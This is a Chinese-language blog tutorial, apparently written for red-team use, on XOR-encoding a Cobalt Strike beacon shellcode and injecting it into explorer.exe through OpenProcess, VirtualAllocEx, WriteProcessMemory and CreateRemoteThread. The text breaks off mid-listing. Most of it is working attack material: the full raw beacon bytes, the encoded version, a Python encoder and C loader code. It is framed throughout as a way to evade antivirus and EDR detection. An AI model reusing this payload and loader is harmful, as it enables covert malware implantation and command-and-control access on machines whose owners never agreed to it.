在过去一周,我做了一些Win32API相关的研究并尝试将其应用到实际的攻击中,在过去我已经做了一些与进程注入相关的工作,但是我一直在寻找更高级的攻击方式,同时希望能在进程注入的方向上更上一层楼。
因此,我尝试使用C语言来实现简单的shellcode注入并给它加上解码功能让其更加的高级。最后,只需要将shellcode以编码方式写入内存,然后在运行时对其进行解码即可。
传统的进程注入技术非常易于使用和实施,您只需要打开所需的进程,在该进程上分配空间,编写您的shellcode然后执行即可。
我们将在这里做几乎相同的事情,但是我将在写入内存之前通过一个简单的python脚本来对shellcode进行编码,接着我们将让C代码在运行时对其进行解码,在分配完所需的空间后将每个字节写入内存。
另外,我将更深入地研究一些WIn32 API,并解释如何在底层执行每个API。
进程注入101
如前所述,vanilla进程注射技术将执行以下操作:
- 打开一个进程并检索该进程的HANDLE。
- 在远程进程中分配空间(检索内存地址)。
- 将数据(shellcode)写入该进程中。
- 执行shellcode。
我们可以使用几个Win32 API执行这些步骤:
OpenProcess()
在正常情况下,我们会将原始的shellcode直接写入到内存中,但是如果AV / EDR检测到了Shellcode,它们肯定会发出警报,因此,我们需要对Shellcode进行处理使其在内存中显示为编码的shellcode,然后,我们在内存中对它进行解码来绕过检测。
Shellcode编码
我们需要对shellcode进行编码,以避免像我之前提到的那样被检测到,要做到这一点,我们需要以可逆的方式修改该shellcode,该方式可用于检索shellcode的原始状态,并且我们可以通过执行一些更改来做到这一点在每个操作码上,例如:
1. 异或
2. 加
3. 减
4. 交换
我选择的操作方式是异或,我将在我的shellcode的每个操作码上使用XOR按位运算。
我使用的shellcode是Cobalt Strike的beacon,shellcode如下:
/* length: 887 bytes */
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x56\x1f\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x35\x6e\x6b\x4f\x00\x03\x9a\xf4\xbb\xe0\xdd\x3e\x6c\x87\xa5\x05\x4b\x82\x51\x2f\xd5\x68\x67\x15\xd6\xfd\x10\xf3\xa5\x90\x60\xea\xba\xfe\x1f\x26\x2d\x04\xf3\xec\xcb\xd4\x73\x94\x57\x98\x5e\xde\xec\xb8\x3e\xd9\x4e\x32\xcc\x38\xe3\x94\x06\x1d\x73\x2d\xb3\xd4\x62\x26\xca\x5a\xae\x52\xef\xf4\xc0\x81\x77\x97\xce\xd5\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x47\x54\x42\x37\x2e\x34\x3b\x20\x49\x6e\x66\x6f\x50\x61\x74\x68\x2e\x32\x29\x0d\x0a\x00\x61\xe2\x49\x6c\xb5\x31\x92\x20\x19\xc9\xaa\x69\x2b\xbc\xc1\x8b\x28\xf9\x80\x6c\x92\xac\xba\xea\x06\x32\x05\xc2\x38\x1b\x0f\x3e\x85\x39\xc3\x8a\x12\x21\xe7\x51\x80\x80\x30\x02\xe7\xcc\x8f\x34\x38\xd1\xe2\x48\xf0\x28\x21\xe9\xd7\xa6\x47\x58\x0e\x48\x8c\x1d\x16\xad\x7d\xad\xbd\xa4\x40\x58\x4b\x5f\x3d\xa9\xd0\x55\x19\xdf\x43\xf1\x69\xba\x0c\x81\x6f\x91\x72\x94\xc6\x65\xb4\x8d\x5b\x04\x58\x68\x72\x93\xc3\xbc\x46\x11\x0b\xf8\x50\x26\x52\x15\x49\xdb\x36\x0d\x75\x5d\x81\x5d\x47\x1b\x0f\x5e\x25\x50\x34\x23\xc1\x69\xfd\x22\x75\x5d\xea\xa4\x2e\x40\x98\x12\x72\x8e\xd4\xde\xef\xf2\x42\xdd\x08\x6b\xa3\x74\x13\x6c\xa9\x82\xfc\x25\xec\xe6\x22\xea\x9b\x4b\x58\xa8\x85\x67\xa1\x78\x1e\xaa\x07\x31\xd7\xcf\x4a\x74\xf1\x30\x63\x3e\x0e\x5c\x17\x53\x2f\x69\x67\x92\xf8\x28\xfe\xd6\x6f\xce\x06\xc5\xdd\xb2\x0d\x71\xf4\xda\x18\x5e\x26\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x30\x2e\x30\x2e\x31\x00\x58\x56\x3d\xd2";
对这段shellcode进行编码的python代码如下:
#!/usr/bin/python
import sys
raw_data = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x56\x1f\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x35\x6e\x6b\x4f\x00\x03\x9a\xf4\xbb\xe0\xdd\x3e\x6c\x87\xa5\x05\x4b\x82\x51\x2f\xd5\x68\x67\x15\xd6\xfd\x10\xf3\xa5\x90\x60\xea\xba\xfe\x1f\x26\x2d\x04\xf3\xec\xcb\xd4\x73\x94\x57\x98\x5e\xde\xec\xb8\x3e\xd9\x4e\x32\xcc\x38\xe3\x94\x06\x1d\x73\x2d\xb3\xd4\x62\x26\xca\x5a\xae\x52\xef\xf4\xc0\x81\x77\x97\xce\xd5\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x47\x54\x42\x37\x2e\x34\x3b\x20\x49\x6e\x66\x6f\x50\x61\x74\x68\x2e\x32\x29\x0d\x0a\x00\x61\xe2\x49\x6c\xb5\x31\x92\x20\x19\xc9\xaa\x69\x2b\xbc\xc1\x8b\x28\xf9\x80\x6c\x92\xac\xba\xea\x06\x32\x05\xc2\x38\x1b\x0f\x3e\x85\x39\xc3\x8a\x12\x21\xe7\x51\x80\x80\x30\x02\xe7\xcc\x8f\x34\x38\xd1\xe2\x48\xf0\x28\x21\xe9\xd7\xa6\x47\x58\x0e\x48\x8c\x1d\x16\xad\x7d\xad\xbd\xa4\x40\x58\x4b\x5f\x3d\xa9\xd0\x55\x19\xdf\x43\xf1\x69\xba\x0c\x81\x6f\x91\x72\x94\xc6\x65\xb4\x8d\x5b\x04\x58\x68\x72\x93\xc3\xbc\x46\x11\x0b\xf8\x50\x26\x52\x15\x49\xdb\x36\x0d\x75\x5d\x81\x5d\x47\x1b\x0f\x5e\x25\x50\x34\x23\xc1\x69\xfd\x22\x75\x5d\xea\xa4\x2e\x40\x98\x12\x72\x8e\xd4\xde\xef\xf2\x42\xdd\x08\x6b\xa3\x74\x13\x6c\xa9\x82\xfc\x25\xec\xe6\x22\xea\x9b\x4b\x58\xa8\x85\x67\xa1\x78\x1e\xaa\x07\x31\xd7\xcf\x4a\x74\xf1\x30\x63\x3e\x0e\x5c\x17\x53\x2f\x69\x67\x92\xf8\x28\xfe\xd6\x6f\xce\x06\xc5\xdd\xb2\x0d\x71\xf4\xda\x18\x5e\x26\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x30\x2e\x30\x2e\x31\x00\x58\x56\x3d\xd2"
new_shellcode = []
for opcode in raw_data:
new_opcode = (ord(opcode) ^ 0x01)
new_shellcode.append(new_opcode)
print "".join(["\\x{0}".format(hex(abs(i)).replace("0x", "")) for i in new_shellcode])
该脚本将读取我们的shellcode的每个操作码,然后将其与字节0x01(在这种情况下为我们的密钥)进行异或,然后将每个编码的操作码附加到新列表中,最后,将其打印为如下的shellcode :
运行脚本后,我们获得了已编码的shellcode,我们现在就可以继续往下操作。
现在,我们将开始实现将为我们执行shellcode注入的C代码,我将逐步介绍每个win32 API。
打开进程并获取一个句柄
首先,我们需要选择一个向其注入shellcode的进程,然后,我们需要检索该进程的句柄,以便可以对其执行一些操作,然后,我们将使用OpenProcess 这个win32 API,使用的代码如下:
#include <windows.h>
int main(int argc, char *argv[]){
// The PID that you want to use
// You can use GetCurrentProcessId() to get the current PID
int process_id = atoi(argv[1]);
// Declare a new handle as process variable
// PROCESS_ALL_ACCESS
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
// If the operation succeeded it will return the handle
if(process){
printf("[+] Handle retrieved successfully!\n");
// We can print it as pointer using printf
printf("[+] Handle value is %p\n", process);
}else{
printf("[-] Enable to retrieve process handle\n");
}
}
该代码将您要获取其句柄的进程ID作为该代码的第一个参数,然后它将使用具有PROCESS_ALL_ACCESS访问权限的OpenProcess()来打开该进程并将该句柄保存在变量process中,最后,将为我们打印句柄。
实际上,OpenProcess()函数采用3个参数,您可以通过此页面进行查询。
另外,您可以从此页面检查所有访问权限。
在编译代码并运行它以使用pid 4032检索进程“ explorer.exe”的句柄之后,我们将获得以下信息:
我们成功检索到该句柄。
在远程进程上分配空间
检索句柄后的下一步将是在该进程内分配空间,我们可以使用VirtualAllocEx(),代码实现如下:
#include <windows.h>
int main(int argc, char *argv[]){
char data[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
// The PID that you want to use
int process_id = atoi(argv[1]);
// Declare a new handle as process variable
// PROCESS_ALL_ACCESS
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
// If the operation succeeded it will return the handle
if(process){
printf("[+] Handle retrieved successfully!\n");
// We can print it as pointer using printf
printf("[+] Handle value is %p\n", process);
// Allocate space
// Define the base_address variable which will save the allocated memory address
LPVOID base_address;
base_address = VirtualAllocEx(process, NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(base_address){
printf("[+] Allocated based address is 0x%x\n", base_address);
}else{
printf("[-] Unable to allocate memory ...\n");
}
}else{
printf("[-] Unable to retrieve process handle\n");
}
}
我在第7行中添加了一些数据作为转储数据(将被我们的shellcode替换),我们应该让它根据其大小分配内存。
在第25行中,我们将名为“ base_address”的变量声明为LPVOID,它将代表分配的内存的基址。
在第26行中,我们使用VirtualAllocEx()并为其传递以下参数:
1. process:这是我们之前使用OpenProcess()检索到的句柄
2. Null:确保该函数将自动分配地址,而不是使用我们已知的地址。
3. sizeof(data):将写入内存的数据大小。
4. MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE:我们要使用的分配类型,它描述我们要在该分配的内存区域内执行的操作,该区域是读写执行(RWX)
注意,用RWX分配内存区域不是很隐秘,EDR可以将其视为可疑操作。
最后,在第29行中,我们将打印分配的内存的地址,并将其写入数据,并通过运行代码获得以下内容:
我们将地址“ 0xa50000”作为我们的基地址。
让我进一步解释一下,并告诉您该地址的确切含义。我们将调试器附加到explorer.exe,然后查看该地址的内容:
然后,我将转到地址“ 0xa50000”:
选择表达式并输入地址:
得到以下结果:
如我们所见,函数VirtualAllocEx已为我们在explorer.exe中分配了内存空间,我们准备写入数据。
将数据写入内存
现在,这是我们技术中最重要的部分,我们将解码原始操作码并将其直接写入内存,我们将通过从“ 0xA50000”开始写入数据并将地址一一增加到下一个内存地址来做到这一点。
我们使用xor编码我们的shellcode,现在我们将使用相同的值来解码每个字节并检索每个操作码的原始状态,这是有关此操作的一个示例:
hex(ord("\xfc") ^ 0x01) # = 0xfd
hex(ord"\xfd") ^ 0x01) # = 0xfc
因此,通过将每个操作码与0x01进行XOR运算,我们将检索原始的shellcode,但这一次不会被AV / EDR进行的静态分析(基于签名)检测所捕获,因为它将在运行时直接写入内存。
即使使用这种类型的编码,您的有效负载也可能会被标记,因此请确保在操作中使用之前使用更强的编码并对其进行测试。
具体代码实现如下:
#include <windows.h>
int main(int argc, char *argv[]){
unsigned char data[] = "\xfd\x49\x82\xe5\xf1\xe9\xc9\x1\x1\x1\x40\x50\x40\x51\x53\x50\x57\x49\x30\xd3\x64\x49\x8a\x53\x61\x49\x8a\x53\x19\x49\x8a\x53\x21\x49\x8a\x73\x51\x49\xe\xb6\x4b\x4b\x4c\x30\xc8\x49\x30\xc1\xad\x3d\x60\x7d\x3\x2d\x21\x40\xc0\xc8\xc\x40\x0\xc0\xe3\xec\x53\x40\x50\x49\x8a\x53\x21\x8a\x43\x3d\x49\x0\xd1\x67\x80\x79\x19\xa\x3\x74\x73\x8a\x81\x89\x1\x1\x1\x49\x84\xc1\x75\x66\x49\x0\xd1\x51\x8a\x49\x19\x45\x8a\x41\x21\x48\x0\xd1\xe2\x57\x49\xfe\xc8\x40\x8a\x35\x89\x49\x0\xd7\x4c\x30\xc8\x49\x30\xc1\xad\x40\xc0\xc8\xc\x40\x0\xc0\x39\xe1\x74\xf0\x4d\x2\x4d\x25\x9\x44\x38\xd0\x74\xd9\x59\x45\x8a\x41\x25\x48\x0\xd1\x67\x40\x8a\xd\x49\x45\x8a\x41\x1d\x48\x0\xd1\x40\x8a\x5\x89\x49\x0\xd1\x40\x59\x40\x59\x5f\x58\x5b\x40\x59\x40\x58\x40\x5b\x49\x82\xed\x21\x40\x53\xfe\xe1\x59\x40\x58\x5b\x49\x8a\x13\xe8\x4e\xfe\xfe\xfe\x5c\x6b\x1\x48\xbf\x76\x68\x6f\x68\x6f\x64\x75\x1\x40\x57\x48\x88\xe7\x4d\x88\xf0\x40\xbb\x4d\x76\x27\x6\xfe\xd4\x49\x30\xc8\x49\x30\xd3\x4c\x30\xc1\x4c\x30\xc8\x40\x51\x40\x51\x40\xbb\x3b\x57\x78\xa6\xfe\xd4\xea\x72\x5b\x49\x88\xc0\x40\xb9\x57\x1e\x1\x1\x4c\x30\xc8\x40\x50\x40\x50\x6b\x2\x40\x50\x40\xbb\x56\x88\x9e\xc7\xfe\xd4\xea\x58\x5a\x49\x88\xc0\x49\x30\xd3\x48\x88\xd9\x4c\x30\xc8\x53\x69\x1\x3\x41\x85\x53\x53\x40\xbb\xea\x54\x2f\x3a\xfe\xd4\x49\x88\xc7\x49\x82\xc2\x51\x6b\xb\x5e\x49\x88\xf0\x49\x88\xdb\x48\xc6\xc1\xfe\xfe\xfe\xfe\x4c\x30\xc8\x53\x53\x40\xbb\x2c\x7\x19\x7a\xfe\xd4\x84\xc1\xe\x84\x9c\x0\x1\x1\x49\xfe\xce\xe\x85\x8d\x0\x1\x1\xea\xd2\xe8\xe5\x0\x1\x1\xe9\xa3\xfe\xfe\xfe\x2e\x34\x6f\x6a\x4e\x1\x2\x9b\xf5\xba\xe1\xdc\x3f\x6d\x86\xa4\x4\x4a\x83\x50\x2e\xd4\x69\x66\x14\xd7\xfc\x11\xf2\xa4\x91\x61\xeb\xbb\xff\x1e\x27\x2c\x5\xf2\xed\xca\xd5\x72\x95\x56\x99\x5f\xdf\xed\xb9\x3f\xd8\x4f\x33\xcd\x39\xe2\x95\x7\x1c\x72\x2c\xb2\xd5\x63\x27\xcb\x5b\xaf\x53\xee\xf5\xc1\x80\x76\x96\xcf\xd4\x1\x54\x72\x64\x73\x2c\x40\x66\x64\x6f\x75\x3b\x21\x4c\x6e\x7b\x68\x6d\x6d\x60\x2e\x35\x2f\x31\x21\x29\x62\x6e\x6c\x71\x60\x75\x68\x63\x6d\x64\x3a\x21\x4c\x52\x48\x44\x21\x39\x2f\x31\x3a\x21\x56\x68\x6f\x65\x6e\x76\x72\x21\x4f\x55\x21\x34\x2f\x30\x3a\x21\x55\x73\x68\x65\x64\x6f\x75\x2e\x35\x2f\x31\x3a\x21\x46\x55\x43\x36\x2f\x35\x3a\x21\x48\x6f\x67\x6e\x51\x60\x75\x69\x2f\x33\x28\xc\xb\x1\x60\xe3\x48\x6d\xb4\x30\x93\x21\x18\xc8\xab\x68\x2a\xbd\xc0\x8a\x29\xf8\x81\x6d\x93\xad\xbb\xeb\x7\x33\x4\xc3\x39\x1a\xe\x3f\x84\x38\xc2\x8b\x13\x20\xe6\x50\x81\x81\x31\x3\xe6\xcd\x8e\x35\x39\xd0\xe3\x49\xf1\x29\x20\xe8\xd6\xa7\x46\x59\xf\x49\x8d\x1c\x17\xac\x7c\xac\xbc\xa5\x41\x59\x4a\x5e\x3c\xa8\xd1\x54\x18\xde\x42\xf0\x68\xbb\xd\x80\x6e\x90\x73\x95\xc7\x64\xb5\x8c\x5a\x5\x59\x69\x73\x92\xc2\xbd\x47\x10\xa\xf9\x51\x27\x53\x14\x48\xda\x37\xc\x74\x5c\x80\x5c\x46\x1a\xe\x5f\x24\x51\x35\x22\xc0\x68\xfc\x23\x74\x5c\xeb\xa5\x2f\x41\x99\x13\x73\x8f\xd5\xdf\xee\xf3\x43\xdc\x9\x6a\xa2\x75\x12\x6d\xa8\x83\xfd\x24\xed\xe7\x23\xeb\x9a\x4a\x59\xa9\x84\x66\xa0\x79\x1f\xab\x6\x30\xd6\xce\x4b\x75\xf0\x31\x62\x3f\xf\x5d\x16\x52\x2e\x68\x66\x93\xf9\x29\xff\xd7\x6e\xcf\x7\xc4\xdc\xb3\xc\x70\xf5\xdb\x19\x5f\x27\x1\x40\xbf\xf1\xb4\xa3\x57\xfe\xd4\x49\x30\xc8\xbb\x1\x1\x41\x1\x40\xb9\x1\x11\x1\x1\x40\xb8\x41\x1\x1\x1\x40\xbb\x59\xa5\x52\xe4\xfe\xd4\x49\x92\x52\x52\x49\x88\xe6\x49\x88\xf0\x49\x88\xdb\x40\xb9\x1\x21\x1\x1\x48\x88\xf8\x40\xbb\x13\x97\x88\xe3\xfe\xd4\x49\x82\xc5\x21\x84\xc1\x75\xb7\x67\x8a\x6\x49\x0\xc2\x84\xc1\x74\xd6\x59\x59\x59\x49\x4\x1\x1\x1\x1\x51\xc2\xe9\x9e\xfc\xfe\xfe\x30\x31\x2f\x31\x2f\x31\x2f\x30\x1\x59\x57\x3c\xd3";
// The PID that you want to use
int process_id = atoi(argv[1]);
// Declare a new handle as process variable
// PROCESS_ALL_ACCESS
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id);
// If the operation succeeded it will return the handle
if(process){
printf("[+] Handle retrieved successfully!\n");
// We can print it as pointer using printf
printf("[+] Handle value is %p\n", process);
// Allocate space
// Define the base_address variable which will save the allocated memory address
LPVOID base_address;
base_address = VirtualAllocEx(process, NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if(base_address){
printf("[+] Allocated based address is 0x%x\n", base_address);
// Data chars counter
int i;
// Base address counter
int n = 0;
for(i = 0; i<=sizeof(data); i++){
// Decode shellcode opcode
char DecodedOpCode = data[i] ^ 0x01;
// Write the decoded bytes in memory address
if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){
printf("[+] Byte wrote sucessfully!\n");
// Increase memory address by 1
n++;
}
}
}else{
printf("[-] Unable to allocate memory ...\n");
}
}else{
printf("[-] Unable to retrieve process handle\n");
}
}
这段代码将使用密钥“ 0x01”对每个字节进行解码后,将我们的shellcode写入内存中,正如我们在第39行中看到的那样,我使用了for循环在shellcode的每个元素上移动,然后在第42行中进行了异或每个带有0x01的元素以检索原始操作码,并在第45行中将已解码的字节写入内存中的特定位置,最后在第51行中,将作为存储计数器的n计数器移至下一个要解码的存储地址,将操作码写入。
进行写入的函数是WriteProcessMemory(),参数如下:
- process:这是我们之前使用OpenProcess()检索到的句柄
- ase_address + n:这是我们要将操作码写入的地址(从VirtualAllocEx检索到的base_address),n是要移至下一个地址的计数器。
- &DecodedOpCode:DecodedOpCode字节的地址。
- 1:写入的字节数,只有一个字节。
- null:因为我们没有指针来接收写入的字节数。
您可以从此页面检查WriteProcessMemory需要的参数。
编译并运行程序后,我们将获得以下信息:
如我们所见,我们将每个字节写入所需的所需地址,现在,让我们使用x64dbg进行调试,然后转到地址“ 0x2ec0000”以获取以下内容:
如我们所见,我们将原始字节写入了我们想要的地址(从0x2ec0000开始),并且一切正常!
执行shellcode
最后,我们需要将shellcode作为线程执行,并且可以通过以下代码使用CreateRemoteThread()函数来执行该操作:
#include <windows.h>
int main(int argc, char *argv[]){
unsigned char data[] = "\xfd\x49\x82\xe5\xf1\xe9\xc9\x1\x1\x1\x40\x50\x40\x51\x53\x50\x57\x49\x30\xd3\x64\x49\x8a\x53\x61\x49\x8a\x53\x19\x49\x8a\x53\x21\x49\x8a\x73\x51\x49\xe\xb6\x4b\x4b\x4c\x30\xc8\x49\x30\xc1\xad\x3d\x60\x7d\x3\x2d\x21\x40\xc0\xc8\xc\x40\x0\xc0\xe3\xec\x53\x40\x50\x49\x8a\x53\x21\x8a\x43\x3d\x49\x0\xd1\x67\x80\x79\x19\xa\x3\x74\x73\x8a\x81\x89\x1\x1\x1\x49\x84\xc1\x75\x66\x49\x0\xd1\x51\x8a\x49\x19\x45\x8a\x41\x21\x48\x0\xd1\xe2\x57\x49\xfe\xc8\x40\x8a\x35\x89\x49\x0\xd7\x4c\x30\xc8\x49\x30\xc1\xad\x40\xc0\xc8\xc\x40\x0\xc0\x39\xe1\x74\xf0\x4d\x2\x4d\x25\x9\x44\x38\xd0\x74\xd9\x59\x45\x8a\x41\x25\x48\x0\xd1\x67\x40\x8a\xd\x49\x45\x8a\x41\x1d\x48\x0\xd1\x40\x8a\x5\x89\x49\x0\xd1\x40\x59\x40\x59\x5f\x58\x5b\x40\x59\x40\x58\x40\x5b\x49\x82\xed\x21\x40\x53\xfe\xe1\x59\x40\x58\x5b\x49\x8a\x13\xe8\x4e\xfe\xfe\xfe\x5c\x6b\x1\x48\xbf\x76\x68\x6f\x68\x6f\x64\x75\x1\x40\x57\x48\x88\xe7\x4d\x88\xf0\x40\xbb\x4d\x76\x27\x6\xfe\xd4\x49\x30\xc8\x49\x30\xd3\x4c\x30\xc1\x4c\x30\xc8\x40\x51\x40\x51\x40\xbb\x3b\x57\x78\xa6\xfe\xd4\xea\x72\x5b\x49\x88\xc0\x40\xb9\x57\x1e\x1\x1\x4c\x30\xc8\x40\x50\x40\x50\x6b\x2\x40\x50\x40\xbb\x56\x88\x9e\xc7\xfe\xd4\xea\x58\x5a\x49\x88\xc0\x49\x30\xd3\x48\x88\xd9\x4c\x30\xc8\x53\x69\x1\x3\x41\x85\x53\x53\x40\xbb\xea\x54\x2f\x3a\xfe\xd4\x49\x88\xc7\x49\x82\xc2\x51\x6b\xb\x5e\x49\x88\xf0\x49\x88\xdb\x48\xc6\xc1\xfe\xfe\xfe\xfe\x4c\x30\xc8\x53\x53\x40\xbb\x2c\x7\x19\x7a\xfe\xd4\x84\xc1\xe\x84\x9c\x0\x1\x1\x49\xfe\xce\xe\x85\x8d\x0\x1\x1\xea\xd2\xe8\xe5\x0\x1\x1\xe9\xa3\xfe\xfe\xfe\x2e\x34\x6f\x6a\x4e\x1\x2\x9b\xf5\xba\xe1\xdc\x3f\x6d\x86\xa4\x4\x4a\x83\x50\x2e\xd4\x69\x66\x14\xd7\xfc\x11\xf2\xa4\x91\x61\xeb\xbb\xff\x1e\x27\x2c\x5\xf2\xed\xca\xd5\x72\x95\x56\x99\x5f\xdf\xed\xb9\x3f\xd8\x4f\x33\xcd\x39\xe2\x95\x7\x1c\x72\x2c\xb2\xd5\x63\x27\xcb\x5b\xaf\x53\xee\xf5\xc1\x80\x76\x96\xcf\xd4\x1\x54\x72\x64\x73\x2c\x40\x66\x64\x6f\x75\x3b\x21\x4c\x6e\x7b\x68\x6d\x6d\x60\x2e\x35\x2f\x31\x21\x29\x62\x6e\x6c\x71\x60\x75\x68\x63\x6d\x64\x3a\x21\x4c\x5